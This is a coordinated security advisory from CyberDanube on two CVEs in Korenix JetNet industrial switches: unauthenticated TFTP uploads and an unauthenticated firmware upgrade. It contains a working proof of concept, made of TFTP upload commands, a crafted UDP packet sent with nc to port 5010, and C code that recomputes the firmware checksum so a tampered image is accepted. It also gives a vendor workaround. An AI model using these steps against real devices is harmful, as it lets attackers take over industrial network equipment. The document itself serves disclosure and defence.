Korenix JetNet Series Unauthenticated Access

CyberDanube Security Research 20240109-0-------------------------------------------------------------------------------                title| Multiple Vulnerabilities              product| Korenix JetNet Series   vulnerable version| See "Vulnerable versions"        fixed version| -           CVE number| CVE-2023-5376, CVE-2023-5347               impact| High             homepage| https://www.korenix.com/                found| 2023-08-31                   by| S. Dietz (Office Vienna)                     | CyberDanube Security Research                     | Vienna | St. Pölten                     |                     | https://www.cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Korenix Technology, a Beijer group company within the Industrial Communicationbusiness area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.With decades of experiences in the industry, we have developed various productlines [...].Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customerbase covers different Sales channels, including end-customers, OEMs, systemintegrators, and brand label partners. [...]"Source: https://www.korenix.com/en/about/index.aspx?kind=3Vulnerable versions-------------------------------------------------------------------------------Tested on emulated Korenix JetNet 5310G / v2.6All vulnerable models/versions according to vendor:JetNet 4508 (4508i-w V1.3, 4508 V2.3, 4508-w V2.3)JetNet 4508f, 4508if (4508if-s V1.3,4508if-m V1.3, 4508if-sw V1.3,       4508if-mw V1.3, 4508f-m V2.3, 4508f-s V2.3, 4508f-mw V2.3,       4508f-sw V2.3)JetNet 5620G-4C V1.1JetNet 5612GP-4F V1.2JetNet 5612G-4F V1.2JetNet 5728G (5728G-24P-AC-2DC-US V2.1, 5728G-24P-AC-2DC-EU V2.0)JetNet 528Gf (6528Gf-2AC-EU V1.0, 6528Gf-2AC-US V1.0, 6528Gf-2DC24 V1.0,       6528Gf-2DC48 V1.0, 6528Gf-AC-EU V1.0, 6528Gf-AC-US V1.0)JetNet 6628XP-4F-US V1.1JetNet 6628X-4F-EU V1.0JetNet 6728G (6728G-24P-AC-2DC-US V1.1, 6728G-24P-AC-2DC-EU V1.1)JetNet 6828Gf (6828Gf-2DC48 V1.0, 6828Gf-2DC24 V1.0, 6828Gf-AC-DC24-US V1.0,       6828Gf-2AC-US V1.0, 6828Gf-AC-US V1.0, 6828Gf-2AC-AU V1.0,       6828Gf-AC-DC24-EU V1.0, 6828Gf-2AC-EU V1.0)JetNet 6910G-M12 HVDC V1.0JetNet 7310G-V2 2.0JetNet 7628XP-4F-US V1.0, 7628XP-4F-US V1.1, 7628XP-4F-EU V1.0,       7628XP-4F-EU V1.1JetNet 7628X-4F-US V1.0, 7628X-4F-EU V1.0JetNet 7714G-M12 HVDC V1.0Vulnerability overview-------------------------------------------------------------------------------1) TFTP Without Authentication (CVE-2023-5376)The available tftp service is accessable without user authentication. Thisallows the user to upload and download files to the restricted "/home" folder.2) Unauthenticated Firmware Upgrade (CVE-2023-5347)A critical security vulnerability has been identified that may allow anunauthenticated attacker to compromise the integrity of a device or cause adenial of service (DoS) condition. This vulnerability resides in the firmwareupgrade process of the affected system.Proof of Concept-------------------------------------------------------------------------------1) TFTP Without Authentication (CVE-2023-5376)The Linux tftp client was used to upload a firmware to the absolute path"/home/firmware.bin":# tftp $IPtftp> put exploit.bin /home/firmware.binSent 5520766 bytes in 5.7 seconds2) Unauthenticated Firmware Upgrade (CVE-2023-5347)Unauthenticated attackers can exploit this by uploading malicious firmware viaTFTP and initializing the upgrade process with a crafted UDP packet on port5010.We came to the conclusion that the firmware image consists of multiplesections. Our interpretation of these can be seen below:===============================================================================class FirmwarePart:    def init(self, name, offset, size):        self.name = name        self.offset = offset        self.size = sizefirmware_parts = [    FirmwarePart("uimage_header", 0x0, 0x40),    FirmwarePart("uimage_kernel", 0x40, 0x3c54),    FirmwarePart("gzip", 0x3c94, 0x14a000 - 0x3c94),    FirmwarePart("squashfs", 0x14a000, 0x539000 - 0x14a000),    FirmwarePart("metadata", 0x539000, 5480448 - 0x539000),]===============================================================================The squashfs includes the rootfs. Metadata includes a 4 byte checksum whichneeds to be modified when repacked. During our analysis we observed that thechecksum gets calculated over all sections except metadata. To test thisvulnerability we reimplemented the checksum calculation at offset 0x9bdc inthe binary "/bin/cmd-server2":===============================================================================#include <stdio.h>#include <stdint.h>#include <stdlib.h>int32_t check_file(const char* arg1) {    FILE* r0 = fopen(arg1, "rb");    if (!r0) {        return 0xffffffff;    }    int32_t filechecksum = 0;    int32_t last_data_size = 0;    int32_t file_size = 0;    uint8_t data_buf[4096];    int32_t data_len = 1;    while (data_len > 0) {        data_len = fread(data_buf, 1, sizeof(data_buf), r0);        if (data_len == 0) {            break;        }        int32_t counter = 0;        while (counter < (data_len >> 2)) {            int32_t byte_at_counter = *((int32_t*)(data_buf + (counter << 2)));            counter++;            filechecksum += byte_at_counter;        }        file_size += data_len;        last_data_size = data_len;    }    fclose(r0);    if (last_data_size < 0x400 || (last_data_size >= 0x400 && (file_size - 0x14a  000) > 0x5ac000)) {        return 0xffffffff;    }    data_len = 0;    while (data_len < (last_data_size >> 2)) {        int32_t r3_2 = *((int32_t*)(data_buf + (data_len << 2)));        data_len++;        filechecksum -= r3_2;    }    return filechecksum;}int main(int argc, char* argv[]) {    if (argc != 2) {        printf("Usage: %s <file_path>\n", argv[0]);        return 1;    }    int32_t result = check_file(argv[1]);    printf("0x%x\n", result);    return 0;}===============================================================================After modifying and repacking the squashfs, we calculated the checksum,patched the required bytes in the metadata section (offset 0x11b-0x11e) andinitilized the update process.===============================================================================# tftp $IPtftp> put exploit.bin /home/firmware.binSent 5520766 bytes in 5.7 seconds# echo -e "\x00\x00\x00\x1f\x00\x00\x00\x01\x01" | nc -u $IP 5010===============================================================================The output of the serial console can be observed below:===============================================================================Jan  1 00:01:00 Jan  1 00:01:00 syslog: UDP cmd is receivedJan  1 00:01:00 Jan  1 00:01:00 syslog: management vlan = sw0.0Jan  1 00:01:00 Jan  1 00:01:00 syslog: setsockopt(SO_BINDTODEVICE) No such deviJan  1 00:01:00 Jan  1 00:01:00 syslog: tlv_count = 0Jan  1 00:01:00 Jan  1 00:01:00 syslog: rec_bytes = 10Jan  1 00:01:00 Jan  1 00:01:00 syslog: command TLV_FW_UPGRADE receivedcheck firmware...checksum=b2256313, inFileChecksum=b2256313Firmware upgrading, don't turn off the switch!Begin erasing flash:.Write firmware.bin (5480448 Bytes) to flash:...Write finished...Terminating child processes...Jan  1 00:01:01 Jan  1 00:01:01 syslog: first time create tlv_chainJan  1 00:01:01 syslogd exitingFirmware upgrade success!!waiting for reboot command .......===============================================================================The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Beijer/Korenix provided a workaround to mitigate the vulnerabilities until aproper patch is available (see "Workaround" section).Workaround-------------------------------------------------------------------------------Beijer representatives provided the following workaround for mitigating thevulnerabilities on devices of the JetNet series:"Login by terminal:Switch# configure terminalSwitch(config)# service ipscan disableSwitch(config)# tftpd disableSwitch(config)# copy running-config startup-config"Source: https://www.beijerelectronics.com/en/support/Help___online?docId=69947This commands should be used to deactivate the TFTP daemon on the device toprevent unauthenticated actors from abusing the service.Recommendation-------------------------------------------------------------------------------Regardless to the current state of the vulnerability, CyberDanube recommendscustomers from Korenix to upgrade the firmware to the latest version available.Furthermore, a full security review by professionals is recommended.Contact Timeline-------------------------------------------------------------------------------31-08-2023: Contacting Beijer Electronics Group via [email protected]: Receiving contact information. Send vulnerability information.26-09-2023: Asking about vulnerability status and receiving update release date.27-10-2023: Received update from contact regarding the firmware update.29-11-2023: Meeting with contact stating that it effects the whole series.31-11-2023: Meeting to discuss potential solutions.11-12-2023: Release delayed due to lack of workaround from manufacturer.21-12-2023: Manufacturer provides workaround. Release date confirmed.09-01-2024: Coordinated release of security advisory.Web: https://www.cyberdanube.comTwitter: https://twitter.com/cyberdanubeMail: research at cyberdanube dot comEOF Sebastian Dietz / @2024